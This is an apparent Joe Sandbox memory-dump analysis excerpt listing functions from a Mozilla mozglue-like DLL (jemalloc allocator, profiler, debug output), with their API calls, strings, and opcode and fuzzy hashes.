nvd3d9wrap.dll, xrefs: 6C5E6500
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C5E6798
detoured.dll, xrefs: 6C5E64DA

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: 3287ef0bfc511b62b00645a123dacb1e129d7f0869cecde30c2fa86dd2ecd323
Instruction ID: 5a6936e4d8cb3ca31897ef3904865142b16ceaff693a3e30c1573fef4d843559
Opcode Fuzzy Hash: 3287ef0bfc511b62b00645a123dacb1e129d7f0869cecde30c2fa86dd2ecd323
Instruction Fuzzy Hash: 5CF1E170A0532D9FCB20CF25CC88B9AB7B5AF4A358F144299D909E3641DB31AA85CF95

Function 6C5FD850 Relevance: 48.4, APIs: 21, Strings: 6, Instructions: 1109COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C5FD904
LeaveCriticalSection.KERNEL32(?), ref: 6C5FD971
memset.VCRUNTIME140(?,00000000,?), ref: 6C5FD97B
LeaveCriticalSection.KERNEL32(?), ref: 6C5FE2E3
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5FE2E9
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5FE308
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5FE315
AcquireSRWLockExclusive.KERNEL32(6C65E804), ref: 6C5FE37C
GetSystemInfo.KERNEL32(?), ref: 6C5FE3C7
__Init_thread_footer.LIBCMT ref: 6C5FE3DA
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C65E810,00000040), ref: 6C5FE404
InitializeCriticalSectionAndSpinCount.KERNEL32(6C65E7B8,00001388), ref: 6C5FE46D
InitializeCriticalSectionAndSpinCount.KERNEL32(6C65E744,00001388), ref: 6C5FE483
InitializeCriticalSectionAndSpinCount.KERNEL32(6C65E784,00001388), ref: 6C5FE4A9
InitializeCriticalSectionAndSpinCount.KERNEL32(6C65E7DC,00001388), ref: 6C5FE4CA
InitializeCriticalSectionAndSpinCount.KERNEL32(6C65E768,00001388), ref: 6C5FE50C
memset.VCRUNTIME140(00000000,00000000,00004000), ref: 6C5FE52E
ReleaseSRWLockExclusive.KERNEL32(6C65E804), ref: 6C5FE54F

Part of subcall function 6C5ED960: EnterCriticalSection.KERNEL32(?), ref: 6C5ED999
Part of subcall function 6C5ED960: EnterCriticalSection.KERNEL32(6C65E7B8), ref: 6C5EDA13

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C5FE560, 6C5FE58A, 6C5FE5A5
MALLOC_OPTIONS, xrefs: 6C5FE3FF
: (malloc) Unsupported character in malloc options: ', xrefs: 6C5FE6DD
<jemalloc>, xrefs: 6C5FE61C, 6C5FE6CC
MOZ_CRASH(), xrefs: 6C5FE62B
Compile-time page size does not divide the runtime one., xrefs: 6C5FE621

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSection$CountInitializeSpin$Enter$ExclusiveK@1@LeaveLockMaybe@_RandomUint64@mozilla@@memset$AcquireEnvironmentInfoInit_thread_footerReleaseSystemVariable_errno
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 919329573-429003945
Opcode ID: f9fedec12e16f7045fcff9d47c38b4dc0443c6adce5ab76e9dabbecac04cc15e
Instruction ID: b2f13ab982d145ba7ad3848dbad5bf8cfe4742141db599bc836cfbe251764d5e
Opcode Fuzzy Hash: f9fedec12e16f7045fcff9d47c38b4dc0443c6adce5ab76e9dabbecac04cc15e
Instruction Fuzzy Hash: 04928971A056018FD718CF29C980715BBE1FF86728F298A6DE8698B791D375E842CFC1

Function 6C63C4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C63C5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C63C6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C63C74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C63C7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6C63C9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C63CC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C63CD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C63DB40
memcpy.VCRUNTIME140(?,?,?), ref: 6C63DB62
memcpy.VCRUNTIME140(?,?,?), ref: 6C63DB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C63DD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C63DE95
memcpy.VCRUNTIME140(?,?,?), ref: 6C63E360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C63E432
memcpy.VCRUNTIME140(?,?,?), ref: 6C63E472

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: afca64c4bdea6fc73b57fb5fb823ed0553cb6b6917037302d1d58f0eec1ebd43
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: DD33CF71E0022ACFCB04CFA8C8806EDBBF2FF49314F189269D959AB755D731A945CB94

Function 6C5FED10 Relevance: 32.4, APIs: 16, Strings: 2, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6C5FEE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C5FEFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C601695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6016B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6C601770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C601A3E

Strings

~q]l, xrefs: 6C5FED13
~q]l, xrefs: 6C5FED10

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID: ~q]l$~q]l
API String ID: 3693777188-572885207
Opcode ID: 5c30f5ec3e0e31607ad2905df51b0f446b009c4263dd9b69b54ec58948e2eda1
Instruction ID: 490b7f4ec8ef2344de215da5526bf77e589b21f5abc4291a017a689732cb0b22
Opcode Fuzzy Hash: 5c30f5ec3e0e31607ad2905df51b0f446b009c4263dd9b69b54ec58948e2eda1
Instruction Fuzzy Hash: 50B32971E002198FCB18CFA8C990A9DB7B2BF49308F1582A9D559BB745D730AD86CF94

Function 6C5EFD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C65E7B8), ref: 6C5EFF81
LeaveCriticalSection.KERNEL32(6C65E7B8), ref: 6C5F022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C5F0240
EnterCriticalSection.KERNEL32(6C65E768), ref: 6C5F025B
LeaveCriticalSection.KERNEL32(6C65E768), ref: 6C5F027B

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C5EFE99, 6C5EFEB7, 6C5EFED3, 6C5F0DB8, 6C5F0DD3, 6C5F19B4
<jemalloc>, xrefs: 6C5F0D62, 6C5F0D76, 6C5F0DA7
: (malloc) Error in VirtualFree(), xrefs: 6C5F0D67, 6C5F0D7B, 6C5F0DAC

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: e4b8aed1b2c8ba6589150c7769a132b10113f4e096c4e4c4f7513a6046e24a51
Instruction ID: ca15ead7abdd591184ef5524d835f91c69616188835377c7c7add84086b4d2d2
Opcode Fuzzy Hash: e4b8aed1b2c8ba6589150c7769a132b10113f4e096c4e4c4f7513a6046e24a51
Instruction Fuzzy Hash: D1C28C71A057418FD718CF29C980716BBE1AFC5328F28CA6DE4B98B795D771E802CB85

Function 6C63E680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6C63E811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C63EAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C63EBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C63EEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C63F223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C63F322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C640E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C640E54
memcpy.VCRUNTIME140(?,?,?), ref: 6C640EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6C640ED4

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: 3098c27a47017c7e4a4db8a0ea1fc72ccc79615de79a05b742325a15a593eba2
Instruction ID: 1ed714f815f9b11d2f56566aa7bf09f0086914bf19ed22bd126f90d139491014
Opcode Fuzzy Hash: 3098c27a47017c7e4a4db8a0ea1fc72ccc79615de79a05b742325a15a593eba2
Instruction Fuzzy Hash: DF639F71E0025ACFCB04CFA8C8905DDFBB2FF99314F298269D859AB745D730A946CB94

Function 6C613E50 Relevance: 28.8, APIs: 13, Strings: 3, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6C637770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(}>al,?,?,?,6C613E7D,?,?), ref: 6C63777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6C613F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C613F5C
VerSetConditionMask.NTDLL ref: 6C613F8D
VerSetConditionMask.NTDLL ref: 6C613F99
VerSetConditionMask.NTDLL ref: 6C613FA0
VerSetConditionMask.NTDLL ref: 6C613FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C613FB4

Strings

C>al, xrefs: 6C613E93
nvinit.dll, xrefs: 6C614479
nvd3d9wrap.dll, xrefs: 6C614466

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: C>al$nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-358638614
Opcode ID: 188e91e0ab3441ebac06793a2a27b882dfabce8fa8eb588c5cf5d77dcd7f1047
Instruction ID: a3de35e142da3a604f3ed5cacf9f78f510855dbfe2d9b4d0851cf0d908416adb
Opcode Fuzzy Hash: 188e91e0ab3441ebac06793a2a27b882dfabce8fa8eb588c5cf5d77dcd7f1047
Instruction Fuzzy Hash: 36521471A14B458FD714DF34C880ABB77E9AF89308F54892DD5928BB82CB74F909CB64

Function 6C5EFEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C65E7B8), ref: 6C5EFF81
LeaveCriticalSection.KERNEL32(6C65E7B8), ref: 6C5F022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C5F0240
EnterCriticalSection.KERNEL32(6C65E768), ref: 6C5F025B
LeaveCriticalSection.KERNEL32(6C65E768), ref: 6C5F027B

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C5EFE99, 6C5EFEB7, 6C5EFED3, 6C5F0DB8, 6C5F0DD3, 6C5F19B4, 6C5F1A10
MOZ_CRASH(), xrefs: 6C5F0CA7

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: 54afef7c923a436abf2e3214bf2ae0c9cc941ec08ffcc7981788af6a3610c2d7
Instruction ID: 7cac66750ce00e5db87a4f48346f3dca5300bc40a37f1804b7c3cb3584cba78f
Opcode Fuzzy Hash: 54afef7c923a436abf2e3214bf2ae0c9cc941ec08ffcc7981788af6a3610c2d7
Instruction Fuzzy Hash: C9B2AC716057418FD718CF29C990716BBE1AF85328F28CA6DE87A8B795D770E842CF81

Function 6C625600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

name, xrefs: 6C625E79, 6C625E8F
expected a Time entry, xrefs: 6C625CB6
data, xrefs: 6C626131
expected a Count entry, xrefs: 6C625AC3
ProfileBuffer parse error: %s, xrefs: 6C625AC8, 6C625CBB
schema, xrefs: 6C62606D

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: dc85d256d6fa40f593e5d1e1fea29abefa4784976a53fc30cac6017f9c889bfd
Instruction ID: 64ba37ac68637a1cd3114096b1dc6f4ae59c820857f686467cde4e1ea25402cb
Opcode Fuzzy Hash: dc85d256d6fa40f593e5d1e1fea29abefa4784976a53fc30cac6017f9c889bfd
Instruction Fuzzy Hash: 99924B71A083418FD724CF28C490B9ABBE1BFC9308F54891DE59A9B755DB34E809CF96

Function 6C5E7810 Relevance: 21.4, APIs: 12, Strings: 2, Instructions: 372COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C65E744), ref: 6C5E7885
LeaveCriticalSection.KERNEL32(6C65E744), ref: 6C5E78A5
EnterCriticalSection.KERNEL32(6C65E784), ref: 6C5E78AD
LeaveCriticalSection.KERNEL32(6C65E784), ref: 6C5E78CD
EnterCriticalSection.KERNEL32(6C65E7DC), ref: 6C5E78D4
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C5E78E9
EnterCriticalSection.KERNEL32(00000000), ref: 6C5E795D
memset.VCRUNTIME140(?,00000000,00000160), ref: 6C5E79BB
LeaveCriticalSection.KERNEL32(?), ref: 6C5E7BBC
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C5E7C82
LeaveCriticalSection.KERNEL32(6C65E7DC), ref: 6C5E7CD2
memset.VCRUNTIME140(00000000,00000000,00000450), ref: 6C5E7DAF

Strings

Del, xrefs: 6C5E787F
Del, xrefs: 6C5E789F

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavememset
String ID: Del$Del
API String ID: 759993129-3207355920
Opcode ID: 626c7dbfcb98a852c12904b328e4d171623bcda7522599208afb5dfa8e9ad5cb
Instruction ID: 8d931591a4cbe64830c5d1bdd7fab5fc4fd7b67f8d891530128988233bc68ef2
Opcode Fuzzy Hash: 626c7dbfcb98a852c12904b328e4d171623bcda7522599208afb5dfa8e9ad5cb
Instruction Fuzzy Hash: 8D027171E0121A8FDB54CF19C984799B7B5FF88358F6582AAD80DA7711E730AE90CF84

Function 6C622E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C622ED3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C622EE7
MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6C622F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C623214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C623242
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6236BF

Strings

set , xrefs: 6C6236EC
MOZ_PROFILER_SYMBOLICATE, xrefs: 6C62378D
get , xrefs: 6C623205

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: 3c03de85279720356142e8d1ee689b4b8b4d0c75f7ef6068e95006ae894188d2
Instruction ID: 2bbaf9ac8611a2166b674b50ad27c7d967be9376fb0d356d859332d621596b8c
Opcode Fuzzy Hash: 3c03de85279720356142e8d1ee689b4b8b4d0c75f7ef6068e95006ae894188d2
Instruction Fuzzy Hash: A8325D706083818FD324CF24C4906AEBBE6AFC9318F54882DE5D987751DB35E94ACF5A

Function 6C617E10 Relevance: 19.7, APIs: 6, Strings: 5, Instructions: 403COMMON

Download Yara Rule

Strings

name, xrefs: 6C617ECF, 6C618335
vel, xrefs: 6C618207
data, xrefs: 6C618280, 6C6183E1
(pre-xul), xrefs: 6C617E88
schema, xrefs: 6C6181E3, 6C618311

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema$vel
API String ID: 3412268980-2347612338
Opcode ID: 70a89d2acef4b725469917207133d599f6a679d77923e29b81dc7b7afd530879
Instruction ID: a2dee28258ce405f9d142ab598cae22243b18a40ed064ca2247ca7ee193780bb
Opcode Fuzzy Hash: 70a89d2acef4b725469917207133d599f6a679d77923e29b81dc7b7afd530879
Instruction Fuzzy Hash: A3E18EB1A043408BC710CF68C84065BFBEABFD9318F558A2DE899D7790DBB0DD498B95

Function 6C635FF0 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6C636009
??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C636024
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(Q]l,?), ref: 6C636046
OutputDebugStringA.KERNEL32(?,Q]l,?), ref: 6C636061
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C636069
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C636073
_dup.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C636082
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6C65148E), ref: 6C636091
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,Q]l,00000000,?), ref: 6C6360BA
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C6360C4

Strings

Q]l, xrefs: 6C635FFC, 6C636042, 6C636045, 6C6360B3

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@DebugDebuggerOutputPresentString__acrt_iob_func__stdio_common_vfprintf_dup_fdopen_filenofclose
String ID: Q]l
API String ID: 3835517998-521279258
Opcode ID: da3910db3c2da9d76cb1c94f7f42484061f7605c50879a4db1d387eceb5b8ab8
Instruction ID: ce45ed8f92665f54e21d12a83f5602aa741b69df784805d2b29c643a4f64a2ba
Opcode Fuzzy Hash: da3910db3c2da9d76cb1c94f7f42484061f7605c50879a4db1d387eceb5b8ab8
Instruction Fuzzy Hash: 6E21F771A002189FDF109F25DC49AAE7BB8FF85318F50C428E81AD7241CB35A959CFE9

Function 6C5F5E90 Relevance: 19.2, APIs: 5, Strings: 6, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6C5F5EDB
memset.VCRUNTIME140(ewcl,000000E5,?), ref: 6C5F5F27
LeaveCriticalSection.KERNEL32(?), ref: 6C5F5FB2
memset.VCRUNTIME140(ewcl,000000E5,?), ref: 6C5F61F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6C5F7652

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C5F7BCD, 6C5F7C1F, 6C5F7C34, 6C5F80FD
ewcl, xrefs: 6C5F5E9C, 6C5F5F22, 6C5F61ED
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C5F730D
MOZ_CRASH(), xrefs: 6C5F7BA4
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C5F72F8
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C5F72E3

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)$ewcl
API String ID: 2613674957-3907735712
Opcode ID: f5ce22cf505a7429fec9a3e65efe89fbf5c0404e97cb9b90d98344c79bb2d07f
